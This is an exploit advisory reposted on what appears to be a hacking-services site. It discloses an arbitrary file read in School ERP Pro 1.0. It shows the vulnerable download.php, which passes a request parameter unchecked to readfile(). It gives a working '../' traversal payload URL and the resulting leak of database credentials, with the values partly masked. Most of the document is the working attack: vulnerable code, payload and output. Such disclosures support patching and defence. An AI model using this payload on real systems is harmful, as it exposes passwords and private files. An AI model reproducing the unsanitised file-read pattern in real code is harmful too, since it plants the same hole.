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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: School ERP Pro 1.0 - Arbitrary File Read
# Date: 2020-04-28
# Author: Besim ALTINOK
# Vendor Homepage: http://arox.in
# Software Link: https://sourceforge.net/projects/school-erp-ultimate/
# Version: latest version
# Tested on: Xampp
# Credit: İsmail BOZKURT
# CVE: N/A

Vulnerable code: (/student_staff/download.php)
- File Name: download.php
- Content of the download.php

<?php
if ( isset($_REQUEST["document"])&&$_REQUEST["document"]!="") {
$file = $_REQUEST['document'];
header("Content-type: application/force-download");
header("Content-Transfer-Encoding: Binary");
header("Content-length: ".filesize($file));
header("Content-disposition: attachment; filename=\"".$file."\"");
readfile($file);
exit;
}
?>

------------
*Payload:*
---------------

http://localhost/school_erp/student_staff/download.php?document=../includes/constants.inc.php
------------------------
*After run payload: (we accessed of the file content)*
------------------------

<?php

  define('DB_SERVER', 'localhost');
  define('DB_SERVER_USERNAME', 'aroxi********');
  define('DB_SERVER_PASSWORD', 'erp**********');
  define('DB_DATABASE', 'aroxi****************');
?>